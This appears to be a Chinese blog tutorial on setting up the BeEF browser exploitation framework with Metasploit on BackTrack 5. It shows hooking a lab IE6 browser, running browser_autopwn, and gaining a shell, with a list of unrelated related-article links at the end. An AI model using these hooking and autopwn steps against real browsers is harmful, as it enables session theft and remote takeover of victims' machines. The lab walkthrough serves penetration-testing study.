1.什么是BeEF?

就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。

里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。

大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef

BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。

[plain] view plaincopy

  1. ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]  
  2. beef :Version 0.4.3.6-alpha  

beef默认安装在:/pentest/web/beef/ 下

metasploit默认安装在:/opt/metasploit/下

翻看了下beef的安装文档:INSTALL.txt

[plain] view plaincopy

  1. 1. Prerequisites (platform independent)  
  2.   
     
  3.      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:  
  4.   
     
  5.      gem install bundler  
  6.   
     
  7. . Prerequisites (Linux)  
  8.   
     
  9.      !!! This must be done PRIOR to running the bundle install command !!!  
  10.        
     
  11.      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:  
  12.   
     
  13.      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc  
  14.      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required  
  15.      3.2. rvm install 1.9.2  
  16.      3.3. rvm use 1.9.2  

发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)

总结了下就是:

[plain] view plaincopy

  1. apt-get install libsqlite3-dev sqlite3 sqlite3-doc   
  2. gem install bundler  
  3. bundle install  

如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):

[plain] view plaincopy

  1. gem install --user-install bundler   

然后开启beef:./beef

出现如下信息则成功:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   
  2. [ 9:17:50][*] Browser Exploitation Framework (BeEF)  
  3. [ 9:17:50]    |   Version 0.4.3.6-alpha  
  4. [ 9:17:50]    |   Website http://beefproject.com  
  5. [ 9:17:50]    |   Run 'beef -h' for basic help.  
  6. [ 9:17:50]    |_  Run 'git pull' to update to the latest revision.  
  7. [ 9:17:50][*] Successful connection with Metasploit.  
  8. [ 9:17:53][*] Loaded 203 Metasploit exploits.  
  9. [ 9:17:53][*] BeEF is loading. Wait a few seconds...  
  10. [ 9:17:57][*] 9 extensions loaded:  
  11. [ 9:17:57]    |   Console  
  12. [ 9:17:57]    |   Requester  
  13. [ 9:17:57]    |   Events  
  14. [ 9:17:57]    |   Proxy  
  15. [ 9:17:57]    |   XSSRays  
  16. [ 9:17:57]    |   Autoloader  
  17. [ 9:17:57]    |   Metasploit  
  18. [ 9:17:57]    |   Demos  
  19. [ 9:17:57]    |_  Admin UI  
  20. [ 9:17:57][*] 316 modules enabled.  
  21. [ 9:17:57][*] 2 network interfaces were detected.  
  22. [ 9:17:57][+] running on network interface: 127.0.0.1  
  23. [ 9:17:57]    |   Hook URL: http://127.0.0.1:3000/hook.js  
  24. [ 9:17:57]    |_  UI URL:   http://127.0.0.1:3000/ui/panel  
  25. [ 9:17:57][+] running on network interface: 192.168.198.128  
  26. [ 9:17:57]    |   Hook URL: http://192.168.198.128:3000/hook.js  
  27. [ 9:17:57]    |_  UI URL:   http://192.168.198.128:3000/ui/panel  
  28. [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72  
  29. [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789  
  30. [ 9:17:57][*] BeEF server started (press control+c to stop)  

其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit

首先关闭beef(Ctrl+C)。

在/opt/metasploit/文件夹下gedit beef.rc,写入内容:

[plain] view plaincopy

  1. load msgrpc ServerHost=127.0.0.1 Pass=abc123  

这里上网搜了下,发现密码神马的最好不要改,那就不改啦~

安装msgpack:

[plain] view plaincopy

  1. gem install --user-install msgpack  

修改配置让beef支持metasploit:

[plain] view plaincopy

  1. gedit /pentest/web/beef/config.yaml  
  2. 把        metasploit:  
  3.            enable: false  
  4. 改成:  
  5.            metasploit:  
  6.            enable: true  

Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!

我们启动metasploit:

[plain] view plaincopy

  1. root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc   

出现如下信息就表示成功:

[plain] view plaincopy

  1. [*] Processing beef.rc for ERB directives.  
  2. resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123  
  3. [*] MSGRPC Service:  127.0.0.1:55552   
  4. [*] MSGRPC Username: msf  
  5. [*] MSGRPC Password: abc123  
  6. [*] Successfully loaded plugin: msgrpc  

然后我们再启动beef:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   

beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:

[plain] view plaincopy

  1. http://127.0.0.1:3000/demos/basic.html   

里面主要是有这么一段js代码:

[plain] view plaincopy

4.对XPSP1测试

(1)让xp sp1 用IE6访问hack页面:

[plain] view plaincopy

  1. http://192.168.198.128:3000/demos/basic.html   

发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)

拿msf生成HOOK链接:

[plain] view plaincopy

  1. msf > use auxiliary/server/browser_autopwn   
  2. msf  auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址  
  3. LHOST => 192.168.198.128  
  4. msf  auxiliary(browser_autopwn) > run  

然后出来一大堆URL,我们选择,IE的一个:

[plain] view plaincopy

  1. http://192.168.198.128:8080/hxRmMPkYJa  

控制被HOOK的浏览器去访问这个链接:



然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。

有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。

这么强大的神器,你还在等什么呢?

emaster  关注信息安全的胖子

欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067

初探BeEF的更多相关文章

  1. 【20171106早】BeEF 工具初探

    老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...

  2. 初探领域驱动设计(2)Repository在DDD中的应用

    概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...

  3. CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探

    CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...

  4. 从273二手车的M站点初探js模块化编程

    前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...

  5. JavaScript学习(一) —— 环境搭建与JavaScript初探

    1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...

  6. .NET文件并发与RabbitMQ(初探RabbitMQ)

    本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...

  7. React Native初探

    前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...

  8. 【手把手教你全文检索】Apache Lucene初探

    PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...

  9. Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用

    一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...

随机推荐

  1. ant使用小结

    使用builder.xml的方式:完成的工作:打jar包并运行,其中引用了第三方jar和配置文件: <?xml version="1.0" encoding="UT ...

  2. jquery操作radio单选按钮,实现取值,动态选中,动态删除的各种方法

    本文主要讲的是在jquery里操作表单radio单选按钮的各种方法,如获取选中的radio的值,动态选中指定的radio项等. 1.获取选中的radio单选按钮的值: var v=$(":r ...

  3. Cheatsheet: 2018 08.01 ~ 2018 10.31

    Other Building the Ultimate Developer PC 3.0 - The Parts List for my new computer, IronHeart Face re ...

  4. 撩课-Mysql详解第3部分sql分类

    学习地址:[撩课-JavaWeb系列1之基础语法-前端基础][撩课-JavaWeb系列2之XML][撩课-JavaWeb系列3之MySQL][撩课-JavaWeb系列4之JDBC][撩课-JavaWe ...

  5. springmvc 框架原理

    先来个原理图,镇博. (图片出处:http://www.cnblogs.com/selene/p/4658554.html,感谢博主的图) 着重看:处理器映射器,处理器适配器,这两个的配置. 这两个的 ...

  6. MVC 手机端页面 使用标签file 图片上传到后台处理

    最近刚做了一个头像上传的功能,使用的是H5 的界面,为了这个功能搞了半天的时间,找了各种插件,有很多自己都不知道怎么使用,后来只是使用了一个标签就搞定了:如果对样式没有太大的要求我感觉使用这个就足够了 ...

  7. axios中的qs

    qs是一个npm仓库所管理的包,可通过npm install qs命令进行安装. 1. qs.parse()将URL解析成对象的形式 const Qs = require('qs'); let url ...

  8. java线程的常用方法

    java线程的常用方法 编号 方法 说明 1 public void start() 使该线程开始执行:Java 虚拟机调用该线程的 run 方法. 2 public void run() 如果该线程 ...

  9. JAVASE(说出ArrayList,LinkedList的储存性能和特性)

    说出ArrayList,和LinkedList的储存性能和特性? 答: ##  ArrayList采用的是数组形式来保存对象的,这种方式将对象放在连续的位置中,优点是索引读取快,从最后插入和删除元素速 ...

  10. php 生成唯一id的几种解决方法(实例)

    php 生成唯一id,网上查了下,有很多的方法 1.md5(time() . mt_rand(1,1000000)); 这种方法有一定的概率会出现重复 2.php内置函数uniqid() uniqid ...